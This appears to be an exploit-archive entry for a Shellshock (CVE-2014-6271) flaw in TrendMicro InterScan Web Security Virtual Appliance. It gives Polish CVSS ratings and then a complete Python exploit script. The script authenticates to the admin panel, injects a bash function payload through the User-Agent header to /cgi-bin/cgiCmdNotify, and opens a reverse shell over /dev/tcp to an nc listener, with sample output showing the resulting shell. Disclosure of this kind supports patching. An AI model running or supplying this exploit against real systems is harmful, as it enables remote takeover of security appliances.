TrendMicro InterScan Web Security Virtual Appliance Shellshock

2016.10.23
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


Ogólna skala CVSS: 10/10
Znaczenie: 10/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

#!/usr/bin/env python # TrendMicro InterScan Web Security Virtul Appliance # ================================================== # InterScan Web Security is a software virtual appliance that # dynamically protects against the ever-growing flood of web # threats at the Internet gateway exclusively designed to secure # you against traditional and emerging web threats at the Internet # gateway. The appliance however is shipped with a vulnerable # version of Bash susceptible to shellshock (I know right?). An # attacker can exploit this vulnerability by calling the CGI # shellscript "/cgi-bin/cgiCmdNotify" which can be exploited # to perform arbitrary code execution. A limitation of this # vulnerability is that the attacker must have credentials for # the admin web interface to exploit this flaw. The panel runs # over HTTP by default so a man-in-the-middle attack could be # used to gain credentials and compromise the appliance. # # $ python trendmicro_IWSVA_shellshock.py 192.168.56.101 admin password 192.168.56.1 # [+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit # [-] Authenticating to '192.168.56.101' with 'admin' 'password' # [-] JSESSIONID = DDE38E62757ADC00A51311F1F953EEBA # [-] exploiting shellshock CVE-2014-6271... # bash: no job control in this shell # bash-4.1$ id # uid=498(iscan) gid=499(iscan) groups=499(iscan) # # -- Hacker Fantastic # # (https://www.myhackerhouse.com) import SimpleHTTPServer import subprocess import requests import sys import os def spawn_listener(): os.system("nc -l 8080") def shellshock(ip,session,cbip): user_agent = {'User-agent': '() { :; }; /bin/bash -i >& /dev/tcp/'+cbip+'/8080 0>&1'} cookies = {'JSESSIONID': session} print "[-] exploiting shellshock CVE-2014-6271..." myreq = requests.get("http://"+ip+":1812/cgi-bin/cgiCmdNotify", headers = user_agent, cookies = cookies) def login_http(ip,user,password): mydata = {'wherefrom':'','wronglogon':'no','uid':user, 'passwd':password,'pwd':'Log+On'} print "[-] Authenticating to '%s' with '%s' '%s'" % (ip,user,password) myreq = requests.post("http://"+ip+":1812/uilogonsubmit.jsp", data=mydata) session_cookie = myreq.history[0].cookies.get('JSESSIONID') print "[-] JSESSIONID = %s" % session_cookie return session_cookie if __name__ == "__main__": print "[+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit" if len(sys.argv) < 5: print "[-] use with <ip> <user> <pass> <connectback_ip>" sys.exit() newRef=os.fork() if newRef==0: spawn_listener() else: session = login_http(sys.argv[1],sys.argv[2],sys.argv[3]) shellshock(sys.argv[1],session,sys.argv[4])


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